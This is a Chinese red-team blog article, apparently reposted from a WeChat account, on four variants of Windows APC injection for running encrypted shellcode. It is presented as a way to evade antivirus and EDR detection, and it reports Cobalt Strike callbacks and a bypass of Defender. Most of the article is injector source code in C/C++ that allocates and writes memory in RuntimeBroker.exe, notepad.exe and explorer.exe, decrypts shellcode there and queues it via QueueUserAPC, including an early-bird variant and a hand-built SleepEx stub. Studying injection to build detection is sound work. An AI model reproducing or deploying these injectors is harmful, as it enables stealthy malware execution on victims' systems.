潜伏回调:APC注入在红队演练中的多样化实现

admin 2025年6月18日17:18:02评论4 views字数 13011阅读43分22秒阅读模式

📌 免责声明:本系列文章仅供网络安全研究人员在合法授权下学习与研究使用,严禁用于任何非法目的。违者后果自负。

APC(Asynchronous Procedure Call)注入是一种利用Windows提供的异步回调机制,将任意代码排入某个线程的APC队列中,在该线程进入alertable状态时执行的技术。

基本原理

Windows中的每个线程都有一个APC队列,可以使用 QueueUserAPC 向某个线程队列添加一个函数指针(APC)。当该线程处于“可警报”(Alertable)状态 时,会执行这个队列中的回调函数。

触发APC的关键条件:

1、目标线程必须处于alertable状态,例如通过SleepEx、WaitForSingleObjectEx等函数进入;

2、注入必须传入合法的线程句柄和函数指针。

我的理解:

APC注入就是“植入恶意回调队列”!

免杀中的价值

1、规避传统行为特征检测

传统注入手法(如CreateRemoteThread、WriteProcessMemory)早已被杀软列入高危API组合,只要一出现这些组合,常规杀软几乎秒杀。 而APC注入通过利用目标线程的APC队列执行恶意代码,流程相对“间接”。

2、绕过用户态的钩子/监控

很多杀软在CreateRemoteThread、LoadLibrary这些API上布置了用户态的hook或inline hook,APC注入可以规避这些。

分类

我把它分为四种形式:

1、自身线程APC注入

2、目标合法线程APC注入-朴素

3、目标合法线程APC注入-EarlyBird

4、自建远程线程APC注入

以上四种形式,在均不深入改造的情况下,第2种朴素APC注入效果最佳!

自身线程APC注入

注入流程

单纯地在自身APC队列做文章

步骤
操作
说明
1
VirtualAlloc
分配内存给加密shellcode
2
memcpy
拷贝加密shellcode到内存
3
构造APC参数结构体
包含shellcode地址、长度、密钥
4
QueueUserAPC
挂载APC到自身线程
5
SleepEx(…, TRUE)
进入alertable,触发APC
6
APC回调:解密->执行->擦除
解密、执行shellcode并清空
7
VirtualFree、清理参数
释放资源

注入器代码

代码相对后面几种形式,较为简单

...// 传递给APC的参数结构体struct APC_PARAM {    BYTE* pShellcode;    SIZE_T shellcodeLen;    const char* xorKey;    SIZE_T keyLen;};// APC回调函数:解密->执行->清除VOID CALLBACK APCProc(ULONG_PTR param){    APC_PARAM* ap = (APC_PARAM*)param;    // 1. 解密    XORDecrypt(ap->pShellcode, ap->shellcodeLen, ap->xorKey, ap->keyLen);    // 2. 执行    DWORD oldProt;    VirtualProtect(ap->pShellcode, ap->shellcodeLen, PAGE_EXECUTE_READ, &oldProt);    ((void(*)())ap->pShellcode)();    // 3. 覆盖擦除    SecureZeroMemory(ap->pShellcode, ap->shellcodeLen);    VirtualProtect(ap->pShellcode, ap->shellcodeLen, oldProt, &oldProt);}intmain(){    // 1. 分配内存    ...    // 2. 拷贝加密数据    ...    // 3. 构造参数    static const char xorKey[] = "kun";    APC_PARAM* ap = new APC_PARAM{        (BYTE*)pMem, shellcodeLen, xorKey, sizeof(xorKey) - 1    };    // 4. 挂载自身线程APC    HANDLE hThread = GetCurrentThread();    QueueUserAPC(APCProc, hThread, (ULONG_PTR)ap);    // 5. 进入alertable状态,触发APC    std::cout << "[*] SleepingEx to trigger APC..." << std::endl;    SleepEx(10, TRUE); // alertable=TRUE    // 6. 释放    VirtualFree(pMem, 0, MEM_RELEASE);    delete ap;    std::cout << "[*] Done.n";    return 0;}

测试截图

连接CS,可以看到,上线的进程是自身

本次免杀跟该注入形式没有半毛钱关系,主要是演示一下上线的进程

潜伏回调:APC注入在红队演练中的多样化实现

目标合法线程APC注入-朴素

此种形式式真正践行了APC注入的意义和价值,利用的是合法进程,规避传统检测。实战中需要选好进程。

注入流程

步骤
操作描述
细节/目的
主要API/函数
1
枚举目标进程
查找所有目标进程名(如RuntimeBroker.exe)的PID
CreateToolhelp32SnapshotProcess32FirstW

/Process32NextW
2
遍历每个目标进程进行注入尝试
支持多实例,逐个处理
循环
3
打开目标进程
以最高权限获取句柄,准备用于内存操作
OpenProcess
4
远程分配内存(RW)
在目标进程分配与shellcode等长的内存(初始为可写不可执行)
VirtualAllocEx
5
写入加密Shellcode
将XOR加密的shellcode写入远程内存(暂不可执行)
WriteProcessMemory
6
远程内存逐字节解密
逐字节解密(XOR),每写一个字节都远程Write一次
WriteProcessMemory

 (循环)
7
修改内存属性为可执行(RX)
将远程内存区域属性改为可执行(防止执行时崩溃)
VirtualProtectEx
8
枚举所有线程
获取该进程下所有线程ID
CreateToolhelp32SnapshotThread32First

/Thread32Next
9
遍历所有线程并尝试APC注入
对每个线程:打开线程、调用APC、关闭句柄
OpenThread

QueueUserAPCCloseHandle
10
成功注入即退出循环,失败则尝试下一个进程
只要有任意线程APC队列成功即视为成功,否则下一个进程
程序控制逻辑

注入器代码

我这里利用的目标进程是RuntimeBroker.exe

...// 枚举目标进程名所有PID(返回数量)size_tFindTargetProcesses(LPCWSTR processName, DWORD pids[], size_t maxPids){    PROCESSENTRY32W pe = { sizeof(pe) };    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (snap == INVALID_HANDLE_VALUE) return 0;    size_t count = 0;    if (Process32FirstW(snap, &pe)) {        do {            if (_wcsicmp(pe.szExeFile, processName) == 0 && count < maxPids) {                pids[count++] = pe.th32ProcessID;            }        } while (Process32NextW(snap, &pe));    }    CloseHandle(snap);    return count;}// 枚举某进程所有线程ID,返回实际数量size_tFindAllThreads(DWORD pid, DWORD tids[], size_t maxThreads){    THREADENTRY32 te = { sizeof(te) };    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);    if (snap == INVALID_HANDLE_VALUE) return 0;    size_t count = 0;    if (Thread32First(snap, &te)) {        do {            if (te.th32OwnerProcessID == pid && count < maxThreads) {                tids[count++] = te.th32ThreadID;            }        } while (Thread32Next(snap, &te));    }    CloseHandle(snap);    return count;}// 执行APC注入到目标进程所有线程,任意一个注入成功就算成功intInjectAPC_AllThreads(DWORD pid){    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);    if (!hProcess) {        printf("[-] PID %u: OpenProcess失败, 错误码: %un", pid, GetLastError());        return -1;    }    // 分配远程内存    LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    if (!remoteMem) {        printf("[-] PID %u: VirtualAllocEx失败, 错误码: %un", pid, GetLastError());        CloseHandle(hProcess);        return -2;    }    // 写入加密shellcode    if (!WriteProcessMemory(hProcess, remoteMem, enc_shellcode, shellcode_len, NULL)) {        printf("[-] PID %u: WriteProcessMemory(加密)失败, 错误码: %un", pid, GetLastError());        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);        CloseHandle(hProcess);        return -3;    }    // 逐字节解密远程内存(会被EDR监控到,但这里是演示)    for (size_t i = 0; i < shellcode_len; ++i) {        unsigned char dec = enc_shellcode[i] ^ xor_key[i % xor_key_len];        if (!WriteProcessMemory(hProcess, (LPVOID)((BYTE*)remoteMem + i), &dec, 1NULL)) {            printf("[-] PID %u: WriteProcessMemory(解密)失败@%zu, 错误码: %un", pid, i, GetLastError());            VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);            CloseHandle(hProcess);            return -4;        }    }    // 改为可执行    DWORD oldProtect;    if (!VirtualProtectEx(hProcess, remoteMem, shellcode_len, PAGE_EXECUTE_READ, &oldProtect)) {        printf("[-] PID %u: VirtualProtectEx失败, 错误码: %un", pid, GetLastError());        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);        CloseHandle(hProcess);        return -5;    }    // 枚举所有线程    DWORD tids[128];    size_t tcount = FindAllThreads(pid, tids, 128);    if (tcount == 0) {        printf("[-] PID %u: 未找到任何线程n", pid);        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);        CloseHandle(hProcess);        return -6;    }    int injectSuccess = 0;    for (size_t i = 0; i < tcount; ++i) {        HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION, FALSE, tids[i]);        if (!hThread) continue;        // 尝试APC注入        if (QueueUserAPC((PAPCFUNC)remoteMem, hThread, NULL)) {            printf("[+] PID %u: TID %u APC队列成功n", pid, tids[i]);            injectSuccess = 1// 只要有一个成功即可        }        CloseHandle(hThread);    }    if (!injectSuccess) {        printf("[-] PID %u: APC注入未成功(所有线程都失败)n", pid);        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);        CloseHandle(hProcess);        return -7;    }    CloseHandle(hProcess);    return 0;}intwmain(){    LPCWSTR target = L"RuntimeBroker.exe"// 改成你要注入的进程名    DWORD pids[32];    size_t count = FindTargetProcesses(target, pids, 32);    if (count == 0) {        wprintf(L"[-] 未找到目标进程 %lsn", target);        return -1;    }    wprintf(L"[+] 找到 %ls %zu 个实例。将依次尝试注入...n", target, count);    for (size_t i = 0; i < count; ++i) {        DWORD pid = pids[i];...

测试截图

这种形式,我在测试时,编译出来就过DF,说明这种APC注入形式是有一定免杀效果的!可以看到上线的进程是RuntimeBroker.exe,实战中需要确保目标进程可自行进入Alertable状态

潜伏回调:APC注入在红队演练中的多样化实现

目标合法线程APC注入-EarlyBird

早鸟模式,利用的是“线程劫持”,流程有点像“进程镂空”

注入流程

步骤
操作
说明
1
创建挂起进程
使用 CreateProcess 创建目标进程
2
分配远程内存
使用 VirtualAllocEx 分配 RWX 内存
3
写入加密 shellcode
使用 WriteProcessMemory 写入密文
4
解密 shellcode
在远程内存中逐字节 XOR 解密
5
插入 APC 回调
使用 QueueUserAPC 插入入口地址
6
恢复主线程
使用 ResumeThread 执行 shellcode
7
清除 shellcode
使用 WriteProcessMemory 写入 0

注入器代码

...    // 读取远程内存    if (!ReadProcessMemory(hProcess, remoteAddr, buffer, len, &bytesRead)) {        std::cerr << "[-] 读取远程内存失败" << std::endl;        delete[] buffer;        return;    }    // XOR 解密    ...    // 写回远程进程    SIZE_T bytesWritten;    if (!WriteProcessMemory(hProcess, remoteAddr, buffer, len, &bytesWritten)) {        std::cerr << "[-] 写入解密数据失败" << std::endl;    }    delete[] buffer;}// 清除 shellcodevoidClearRemoteShellcode(HANDLE hProcess, LPVOID remoteAddr, size_t len){    char* zero = new char[len];    memset(zero, 0, len);    SIZE_T written;    WriteProcessMemory(hProcess, remoteAddr, zero, len, &written);    delete[] zero;}intmain(){    STARTUPINFOA si = { sizeof(si) };    PROCESS_INFORMATION pi = { 0 };    const char* xor_key = "kun";    // 创建挂起进程    if (!CreateProcessA("C:\Windows\System32\notepad.exe"NULLNULLNULL, FALSE,        CREATE_SUSPENDED, NULLNULL, &si, &pi)) {        std::cerr << "[-] 创建目标进程失败: " << GetLastError() << std::endl;        return -1;    }    // 分配内存    LPVOID remote_mem = VirtualAllocEx(        pi.hProcess, NULL, shellcode_len,        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (!remote_mem) {        std::cerr << "[-] 分配远程内存失败" << std::endl;        return -1;    }    // 写入加密 shellcode    if (!WriteProcessMemory(pi.hProcess, remote_mem, enc_shellcode, shellcode_len, NULL)) {        std::cerr << "[-] 写入 shellcode 失败" << std::endl;        return -1;    }    // 解密(在内存中解密!)    DecryptRemoteShellcode(pi.hProcess, remote_mem, shellcode_len, xor_key);    // 插入 APC    if (QueueUserAPC((PAPCFUNC)remote_mem, pi.hThread, NULL) == 0) {        std::cerr << "[-] QueueUserAPC 失败" << std::endl;        return -1;    }    // 执行    ResumeThread(pi.hThread);    std::cout << "[+] Shellcode 执行中..." << std::endl;    // 等待 2 秒,再清除(或自行调整时机)    Sleep(2000);    ClearRemoteShellcode(pi.hProcess, remote_mem, shellcode_len);    std::cout << "[+] Shellcode 清除完成" << std::endl;    // 清理句柄    ...

测试截图

连接CS,发现跟进程镂空(傀儡进程)比较像!

同第一种形式一样,该代码没有起到免杀作用,过DF是结合了其它方法

潜伏回调:APC注入在红队演练中的多样化实现

自建远程线程APC注入

这种形式有点偏离APC注入的宗旨,仿佛是纯粹为了APC而APC,不过这种形式较为灵活

注入流程

步骤
操作说明
作用/目的
1
查找目标进程(如explorer.exe)
获得目标PID
2
打开目标进程句柄(OpenProcess)
获得访问、分配、写入权限
3
查找远程 SleepEx 地址
保证stub可正确调用SleepEx
4
构造线程Stub(SleepEx(INFINITE, TRUE))
保证新线程会进入Alertable状态
5
远程分配内存(VirtualAllocEx)
分配shellcode与stub的空间
6
写入加密shellcode、远程XOR解密
保证payload不可静态发现
7
写入线程Stub到远程内存
设定新线程入口
8
创建挂起远程线程(CreateRemoteThread, CREATE_SUSPENDED)
等待APC排队
9
向新线程APC队列投递shellcode
安排shellcode等待被执行
10
唤醒线程(ResumeThread)
线程进入Alertable, 触发APC执行
11
关闭句柄、清理资源
提升隐蔽性,避免取证痕迹

注入器代码

...// x64 SleepEx(INFINITE, TRUE) stub (占用18字节)    // mov ecx, 0xFFFFFFFF    0xB90xFF0xFF0xFF0xFF,    // mov edx, 0x01    0xBA0x010x000x000x00,    // mov rax, SleepEx地址(后面动态填充)    0x480xB80,0,0,00,0,0,0,    // call rax    0xFF0xD0,    // ret    0xC3};size_t stub_len = sizeof(sleepStub);DWORD64 GetRemoteProcAddress(HANDLE hProcess, constwchar_t* dllName, constchar* funcName){    HMODULE hMods[1024];    DWORD cbNeeded;    if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {        for (unsigned int i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {            wchar_t szModName[MAX_PATH];            if (GetModuleBaseNameW(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(wchar_t))) {                if (_wcsicmp(szModName, dllName) == 0) {                    HMODULE hLocal = GetModuleHandleW(dllName);                    FARPROC fLocal = GetProcAddress(hLocal, funcName);                    DWORD64 offset = (DWORD64)fLocal - (DWORD64)hLocal;                    return (DWORD64)hMods[i] + offset;                }            }        }    }    return 0;}// 自动查找 explorer.exe(或你指定的进程)DWORD FindTargetProcess(LPCWSTR processName){    PROCESSENTRY32 pe = { 0 };    pe.dwSize = sizeof(pe);    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (hSnapshot == INVALID_HANDLE_VALUE) return 0;    DWORD pid = 0;    if (Process32First(hSnapshot, &pe)) {        do {            if (_wcsicmp(pe.szExeFile, processName) == 0) {                pid = pe.th32ProcessID;                break;            }        } while (Process32Next(hSnapshot, &pe));    }    CloseHandle(hSnapshot);    return pid;}intInjectAPCWithStub(DWORD pid){    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);    if (!hProcess) {        printf("[-] OpenProcess failedn");        return -1;    }    // 查找远程进程 kernel32!SleepEx 的地址    DWORD64 sleepex_addr = GetRemoteProcAddress(hProcess, L"kernel32.dll""SleepEx");    if (!sleepex_addr) {        printf("[-] 找不到远程 SleepEx 地址n");        CloseHandle(hProcess);        return -10;    }    // 填充 stub 里的 SleepEx 地址    memcpy(sleepStub + 10, &sleepex_addr, sizeof(DWORD64));    // 分配并写入sleepStub    LPVOID remoteStub = VirtualAllocEx(hProcess, NULL, stub_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (!remoteStub) {        printf("[-] 分配线程stub失败n");        CloseHandle(hProcess);        return -2;    }    if (!WriteProcessMemory(hProcess, remoteStub, sleepStub, stub_len, NULL)) {        printf("[-] 写入线程stub失败n");        VirtualFreeEx(hProcess, remoteStub, 0, MEM_RELEASE);        CloseHandle(hProcess);        return -3;    }    // 分配Shellcode    LPVOID remoteShell = VirtualAllocEx(hProcess, NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    if (!remoteShell) {        printf("[-] 分配shellcode失败n");        VirtualFreeEx(hProcess, remoteStub, 0, MEM_RELEASE);        CloseHandle(hProcess);        return -4;    }    // 写入加密shellcode    ...    // 解密    ...    // 改为可执行    DWORD oldProtect;    VirtualProtectEx(hProcess, remoteShell, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);    // 新建线程,入口为我们的stub    HANDLE hThread = CreateRemoteThread(hProcess, NULL0, (LPTHREAD_START_ROUTINE)remoteStub, NULL, CREATE_SUSPENDED, NULL);    if (!hThread) {        printf("[-] 新建远程线程失败n");        VirtualFreeEx(hProcess, remoteStub, 0, MEM_RELEASE);        VirtualFreeEx(hProcess, remoteShell, 0, MEM_RELEASE);        CloseHandle(hProcess);        return -7;    }    // 投递APC    if (!QueueUserAPC((PAPCFUNC)remoteShell, hThread, NULL)) {        printf("[-] APC挂载失败n");        TerminateThread(hThread, 0);        VirtualFreeEx(hProcess, remoteStub, 0, MEM_RELEASE);        VirtualFreeEx(hProcess, remoteShell, 0, MEM_RELEASE);        CloseHandle(hThread);        CloseHandle(hProcess);        return -8;    }    // 唤醒线程,进入alertable,APC立即执行    ResumeThread(hThread);    printf("[+] APC注入并触发完成,目标PID: %un", pid);    // 收尾    CloseHandle(hThread);    CloseHandle(hProcess);    return 0;}intwmain(){    LPCWSTR target = L"explorer.exe";    DWORD pid = FindTargetProcess(target);    if (!pid) {        wprintf(L"[-] 未找到目标进程: %lsn", target);        return -1;    }    wprintf(L"[+] 目标进程: %ls (PID: %u)n", target, pid);    return InjectAPCWithStub(pid);}

测试截图

比“自身线程”和“早鸟”好一些,至少没被静态干掉,后续处理一下动态的问题肯定没问题!

潜伏回调:APC注入在红队演练中的多样化实现

总结

APC 注入是一种在特定条件下可绕过静态与行为特征检测的技术手段。尽管其并非通用解决方案,但凭借异步触发机制与多样化实现方式,在安全测试和红队演练中仍具备高度实用价值。不同形式的 APC 注入适用于不同的目标环境,需结合进程状态与防御机制,灵活制定注入策略。

#APC注入 #进程注入 #CobaltStrike #线程回调 #远程注入 #红队演练

原文始发于微信公众号(仇辉攻防):潜伏回调:APC注入在红队演练中的多样化实现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月18日17:18:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   潜伏回调:APC注入在红队演练中的多样化实现https://cn-sec.com/archives/4174802.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息